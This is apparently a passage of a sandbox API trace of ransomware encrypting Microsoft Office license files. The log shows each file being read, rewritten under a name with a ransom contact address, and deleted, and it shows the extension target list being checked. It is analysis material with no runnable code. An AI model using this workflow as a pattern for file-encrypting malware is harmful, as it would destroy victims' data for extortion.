	[0180.312] SetEndOfFile (hFile=0x53c) returned 1
	[0180.312] CloseHandle (hObject=0x53c) returned 1
	[0180.312] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.312] SetEndOfFile (hFile=0x3d4) returned 1
	[0180.315] CloseHandle (hObject=0x3d4) returned 1
	[0180.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0180.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0180.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0180.316] lstrlenW (lpString=".doc") returned 4
	[0180.316] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.316] lstrlenW (lpString=".docx") returned 5
	[0180.316] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.316] lstrlenW (lpString=".pdf") returned 4
	[0180.316] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.316] lstrlenW (lpString=".xls") returned 4
	[0180.316] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.316] lstrlenW (lpString=".xlsx") returned 5
	[0180.316] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.316] lstrlenW (lpString=".ppt") returned 4
	[0180.316] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0180.316] lstrlenW (lpString=".zip") returned 4
	[0180.317] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.317] lstrlenW (lpString=".rar") returned 4
	[0180.317] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.317] lstrlenW (lpString=".bz2") returned 4
	[0180.317] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.317] lstrlenW (lpString=".7z") returned 3
	[0180.317] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0180.317] lstrlenW (lpString=".dbf") returned 4
	[0180.317] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0180.317] lstrlenW (lpString=".1cd") returned 4
	[0180.317] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0180.317] lstrlenW (lpString=".jpg") returned 4
	[0180.317] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0180.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0180.317] lstrlenW (lpString=".doc") returned 4
	[0180.317] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.317] lstrlenW (lpString=".docx") returned 5
	[0180.317] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.317] lstrlenW (lpString=".pdf") returned 4
	[0180.317] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.317] lstrlenW (lpString=".xls") returned 4
	[0180.317] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.317] lstrlenW (lpString=".xlsx") returned 5
	[0180.317] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.317] lstrlenW (lpString=".ppt") returned 4
	[0180.317] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0180.317] lstrlenW (lpString=".zip") returned 4
	[0180.317] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.317] lstrlenW (lpString=".rar") returned 4
	[0180.317] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.317] lstrlenW (lpString=".bz2") returned 4
	[0180.317] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.318] lstrlenW (lpString=".7z") returned 3
	[0180.318] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0180.318] lstrlenW (lpString=".dbf") returned 4
	[0180.318] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0180.318] lstrlenW (lpString=".1cd") returned 4
	[0180.318] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0180.318] lstrlenW (lpString=".jpg") returned 4
	[0180.318] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.318] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.318] lstrlenW (lpString="O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 42
	[0180.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.319] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=24386) returned 1
	[0180.319] CloseHandle (hObject=0x3d4) returned 1
	[0180.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0180.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.319] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.319] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0180.320] GetLastError () returned 0x0
	[0180.320] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x5f42, lpOverlapped=0x0) returned 1
	[0180.323] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5f50, lpOverlapped=0x0) returned 1
	[0180.324] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.324] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x128, lpOverlapped=0x0) returned 1
	[0180.324] SetEndOfFile (hFile=0x53c) returned 1
	[0180.324] CloseHandle (hObject=0x53c) returned 1
	[0180.324] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.324] SetEndOfFile (hFile=0x3d4) returned 1
	[0180.327] CloseHandle (hObject=0x3d4) returned 1
	[0180.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0180.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0180.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0180.329] lstrlenW (lpString=".doc") returned 4
	[0180.329] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.329] lstrlenW (lpString=".docx") returned 5
	[0180.329] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.329] lstrlenW (lpString=".pdf") returned 4
	[0180.329] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.329] lstrlenW (lpString=".xls") returned 4
	[0180.329] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.329] lstrlenW (lpString=".xlsx") returned 5
	[0180.329] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.329] lstrlenW (lpString=".ppt") returned 4
	[0180.329] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0180.329] lstrlenW (lpString=".zip") returned 4
	[0180.329] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.329] lstrlenW (lpString=".rar") returned 4
	[0180.329] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.329] lstrlenW (lpString=".bz2") returned 4
	[0180.329] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.329] lstrlenW (lpString=".7z") returned 3
	[0180.329] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0180.329] lstrlenW (lpString=".dbf") returned 4
	[0180.329] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0180.329] lstrlenW (lpString=".1cd") returned 4
	[0180.329] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0180.329] lstrlenW (lpString=".jpg") returned 4
	[0180.330] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0180.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0180.330] lstrlenW (lpString=".doc") returned 4
	[0180.330] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.330] lstrlenW (lpString=".docx") returned 5
	[0180.330] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.330] lstrlenW (lpString=".pdf") returned 4
	[0180.330] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.330] lstrlenW (lpString=".xls") returned 4
	[0180.330] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.330] lstrlenW (lpString=".xlsx") returned 5
	[0180.330] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.330] lstrlenW (lpString=".ppt") returned 4
	[0180.330] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0180.330] lstrlenW (lpString=".zip") returned 4
	[0180.330] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.330] lstrlenW (lpString=".rar") returned 4
	[0180.330] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.330] lstrlenW (lpString=".bz2") returned 4
	[0180.330] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.330] lstrlenW (lpString=".7z") returned 3
	[0180.330] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0180.330] lstrlenW (lpString=".dbf") returned 4
	[0180.330] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0180.330] lstrlenW (lpString=".1cd") returned 4
	[0180.330] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0180.330] lstrlenW (lpString=".jpg") returned 4
	[0180.331] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.331] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.331] lstrlenW (lpString="O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 45
	[0180.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.331] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11669) returned 1
	[0180.331] CloseHandle (hObject=0x3d4) returned 1
	[0180.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0180.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.332] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.332] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0180.333] GetLastError () returned 0x0
	[0180.333] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d95, lpOverlapped=0x0) returned 1
	[0180.583] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0180.584] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.584] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0180.585] SetEndOfFile (hFile=0x53c) returned 1
	[0180.585] CloseHandle (hObject=0x53c) returned 1
	[0180.585] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.585] SetEndOfFile (hFile=0x3d4) returned 1
	[0180.587] CloseHandle (hObject=0x3d4) returned 1
	[0180.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0180.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0180.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0180.589] lstrlenW (lpString=".doc") returned 4
	[0180.589] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.589] lstrlenW (lpString=".docx") returned 5
	[0180.589] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.589] lstrlenW (lpString=".pdf") returned 4
	[0180.589] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.589] lstrlenW (lpString=".xls") returned 4
	[0180.589] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.589] lstrlenW (lpString=".xlsx") returned 5
	[0180.589] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.589] lstrlenW (lpString=".ppt") returned 4
	[0180.589] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0180.589] lstrlenW (lpString=".zip") returned 4
	[0180.589] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.589] lstrlenW (lpString=".rar") returned 4
	[0180.589] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.589] lstrlenW (lpString=".bz2") returned 4
	[0180.589] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.589] lstrlenW (lpString=".7z") returned 3
	[0180.589] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0180.589] lstrlenW (lpString=".dbf") returned 4
	[0180.589] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0180.590] lstrlenW (lpString=".1cd") returned 4
	[0180.590] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0180.590] lstrlenW (lpString=".jpg") returned 4
	[0180.590] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0180.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0180.590] lstrlenW (lpString=".doc") returned 4
	[0180.590] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.590] lstrlenW (lpString=".docx") returned 5
	[0180.590] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.590] lstrlenW (lpString=".pdf") returned 4
	[0180.590] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.590] lstrlenW (lpString=".xls") returned 4
	[0180.590] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.590] lstrlenW (lpString=".xlsx") returned 5
	[0180.590] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.590] lstrlenW (lpString=".ppt") returned 4
	[0180.590] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0180.590] lstrlenW (lpString=".zip") returned 4
	[0180.590] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.590] lstrlenW (lpString=".rar") returned 4
	[0180.590] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.590] lstrlenW (lpString=".bz2") returned 4
	[0180.590] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.590] lstrlenW (lpString=".7z") returned 3
	[0180.590] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0180.590] lstrlenW (lpString=".dbf") returned 4
	[0180.590] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0180.590] lstrlenW (lpString=".1cd") returned 4
	[0180.590] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0180.591] lstrlenW (lpString=".jpg") returned 4
	[0180.591] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.591] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.591] lstrlenW (lpString="O365ProPlusR_Subscription3-pl.xrm-ms") returned 36
	[0180.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.592] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11195) returned 1
	[0180.592] CloseHandle (hObject=0x3d4) returned 1
	[0180.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms")) returned 0x220
	[0180.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
